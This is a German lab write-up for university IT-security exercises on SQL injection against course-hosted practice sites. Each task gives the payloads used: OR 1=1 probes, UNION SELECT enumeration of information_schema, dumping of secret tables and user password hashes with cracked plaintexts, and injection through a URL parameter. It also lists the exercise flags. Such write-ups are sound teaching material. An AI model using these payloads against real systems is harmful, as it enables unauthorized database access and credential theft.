IT-Sicherheit: SQL Injections

SQL 150

Betrachten Sie die Webseite: http://xss1.its.mmisc.de/zwitscher/. Finden Sie bei Zwitscher die geheime Tabelle. Die Lösung ist der längere Wert aus der noch geheimeren Spalte.

1. Schließende Zeichen herausfinden:
    - ' OR 1 = 1;#
2. Alle Tabellen anzeigen:
    - ' UNION SELECT table_name,NULL,NULL from information_schema.tables;# (+ WHERE table_schema != "information_schema";#)
    - Tabelle: secretstuff
3. Alle Spalten anzeigen:
    - ' UNION SELECT column_name,NULL,NULL from information_schema.columns (+ WHERE table_schema != "information_schema";#)
4. Alle Spalten einer bestimmten Tabelle anzeigen:
    - ' UNION SELECT column_name,NULL,NULL from information_schema.columns where table_name = "secretstuff";#
    - Tabellen: geheim & nochgeheimer
5. Alle Inhalte von spezieller Tabelle und nun bekannten Spalten anzeigen:
    - ' UNION SELECT geheim,nochgeheimer,NULL FROM secretstuff;#
    - Lösung: alles richtig gemacht!

SQL 100

Verschaffen Sie sich Zugang zu den Premium-Inhalten in dieser Bildergallerie: http://xss1.its.mmisc.de/cats/ und finden Sie die geheime Flag.

1. Schließende Zeichen herausfinden:
    - ') or 1=1;#
2. Alle Tabellen anzeigen:
    - ') UNION SELECT NULL,NULL,table_name,NULL,NULL FROM information_schema.tables;# (+ WHERE table_schema != "information_schema";#)
    - Tabelle: cats_image
3. Alle Spalten anzeigen:
    - ') UNION SELECT NULL,NULL,column_name,NULL,NULL FROM information_schema.columns;# (+ WHERE table_schema != "information_schema";#)
4. Alle Spalten einer bestimmten Tabelle anzeigen:
    - ') UNION SELECT NULL,NULL,column_name,NULL,NULL FROM information_schema.columns WHERE table_name LIKE "cats_image";#
    - Spalte: Tags
5. Alle Inhalte von spezieller Tabelle anzeigen:
    - ') UNION SELECT NULL, NULL, tags, NULL, NULL FROM cats_image;#
    - Oder kürzer: ') UNION SELECT * FROM cats_image;#
    - Lösung: fluffy manul

SQL 175

Bobby Tables ist dabei sein neues Loginsystem zu testen: http://xss1.its.mmisc.de/bobby-login/. Sein Code sieht in etwas so aus: http://xss1.its.mmisc.de/bobby-login/index.txt. Geben sie an welche User einen Account im Loginsystem haben.

1. Schließendes Zeichen ausprobieren:
    - ' OR 1=1#
2. Anzahl der Benutzer herausfinden:
    - ' UNION SELECT COUNT(name), NULL FROM users#
    - Anzahl: 3
3. Benutzer, der auf "e" endet, anzeigen:
    - ' OR name LIKE '%e' LIMIT 1
    - ' OR name LIKE "%e"#
    - Lösung: kampfkatze
4. Benutzer, der auf "n" endet, anzeigen:
    - ' OR name LIKE '%n' LIMIT 1
    - ' OR name LIKE "%n"#
    - Lösung: admin
5. Benutzer, der auf "i" endet, anzeigen:
    - ' OR name LIKE '%i' LIMIT 1
    - ' OR name LIKE "%i"#
    - Lösung: kali

SQL 225

Bei dieser Aufgabe handelt es sich wieder um das neue Loginsystem von Bobby Tables: http://xss1.its.mmisc.de/bobby-login/. Verschaffen sie sich Zugang als ein User und stehlen sie die Flag!

1. Passwort von Benutzer: "kampfkatze":
    - ' UNION SELECT password, name FROM users WHERE name = "kampfkatze"#
    - 21232f297a57a5a743894a0e4a801fc3 -> admin
2. Passwort von Benutzer: "admin":
    - ' UNION SELECT password, name FROM users WHERE name = "admin"#
    - 1d167dd8ec1305e08251af87f33c2f3a -> Kampfkatze
3. Passwort von Benutzer: "kali":
    - ' UNION SELECT password, name FROM users WHERE name = "kali"#
    - 785bc06f97b1069d2a31a6da364f7302 -> DESTRUCTION
    - Flag: icanhazaccess

Kurze Erläuterung:

Im PHP-Skript wird bei falscher Passworteingabe auf $row['name'] zugegriffen, um den Nutzernamen anzuzeigen, für den ein falsches Passwort eingegeben wurde. Im ersten SELECT wird name zuerst genannt und ist daher der Namensgeber für die erste Spalte. Im zweiten Select (UNION) wird jedoch password zuerst genannt und steht somit innerhalb der Spalte die name heißt.

```
SELECT name, password FROM users WHERE name = '' UNION
SELECT password, name FROM users WHERE name = "kampfkatze"#
```

$row['name'] liefert nun password statt name!

SQL 250

Betrachten Sie diese Webseite: http://xss1.its.mmisc.de/lorem/. Finden Sie die geheime Flag in der Datenbank.

1. Schließende Zeichen herausfinden:
    - " OR 1=1;#
2. Alle Tabellen anzeigen:
    - " UNION SELECT NULL, table_name, NULL, NULL FROM information_schema.tables;# (+ WHERE table_schema != "information_schema";#)
    - Tabelle: notsopublic
3. Alle Spalten von spezieller Tabelle anzeigen:
    - " UNION SELECT NULL, column_name, NULL, NULL FROM information_schema.columns WHERE table_name LIKE "notsopublic";#
    - Spalte: flag
4. Alle Inhalte von spezieller Tabelle anzeigen:
    - " UNION SELECT NULL, flag, NULL, NULL FROM notsopublic;#
    - Lösung: bobby tables

SQL Alte Prüfung 200

Hacken sie das Secret Hacker Lair (SHL),erreichbar unter: http://xss1.its.mmisc.de/sql-pruefung/. Die Suche unter "Hacked!", die auflisten sollte welche Ziele das SHL bereits gehackt hatte, wurde leider Offline genommen. Nutzen sie die Exploit suche, um herauszufinden welche Informationen zuvor im Bereich "Hacked!" eingesehen werden konnten. Der Angriff muss über eine Injection in der Exploitsuche durchgeführt werden. Andere Bereiche der Seite sind hierfür nicht zielführend. Beschreiben sie die Lücke und dokumentieren Sie ihren Angriff. Finden sie heraus was GeneralLee gehackt hat!

1. Anmeldung als Benutzer:
    - ' OR 1 = 1#
    - Welcome Admin
2. Alle Tabellen in "ExploitSuche" anzeigen:
    - nada' UNION SELECT NULL, table_name, NULL, NULL, NULL, NULL FROM information_schema.tables# (+ WHERE table_schema != "information_schema";#)
    - Tabelle: hacked
3. Alle Spalten einer bestimmten Tabelle anzeigen:
    - nada' UNION SELECT NULL, column_name, NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_name = "hacked"#
    - Tabellen: hacker & ziel
4. Alle Inhalte von spezieller Tabelle und nun bekannten Spalten anzeigen:
    - nada' UNION SELECT NULL, NULL, NULL, hacker, ziel, NULL FROM hacked;#
    - Lösung: mischas 3l337 passwort

SQL Alte Prüfung 300

Das SHL zeigt in den Rubriken "ExploitSuche" und "Hacked!" inspirierende Zitate an. Vollziehen Sie nach, wie das dazu gehörende Javascript funktioniert und suchen sie dort nach einer weiteren SQL-Injection. Das Ziel ist eine weitere Tabelle, deren Namen unbekannt ist. Die Lösung ist der Satz der sich aus den geheimen Daten zusammensetzen lässt.

1. JavaScript quotes.js untersuchen:
    - xhttp_quote.open("GET", "quote.php?action=getQuote&id=" + quote , true);
    - http://xss1.its.mmisc.de/sql-pruefung/quote.php?action=getQuote&id=0
2. Alle Tabellen anzeigen:
    - http://xss1.its.mmisc.de/sql-pruefung/quote.php?action=getQuote&id=0 UNION SELECT NULL, table_name FROM information_schema.tables%23
    - Tabelle: secretTable
3. Alle Spalten einer bestimmten Tabelle anzeigen:
    - http://xss1.its.mmisc.de/sql-pruefung/quote.php?action=getQuote&id=0 UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = "secretTable"%23
    - Tabellen: secret1 & secret2
4. Alle Inhalte von spezieller Tabelle und nun bekannten Spalten anzeigen:
    - http://xss1.its.mmisc.de/sql-pruefung/quote.php?action=getQuote&id=0 UNION SELECT secret1, secret2 FROM secretTable%23
    - Lösung: You solved all SQL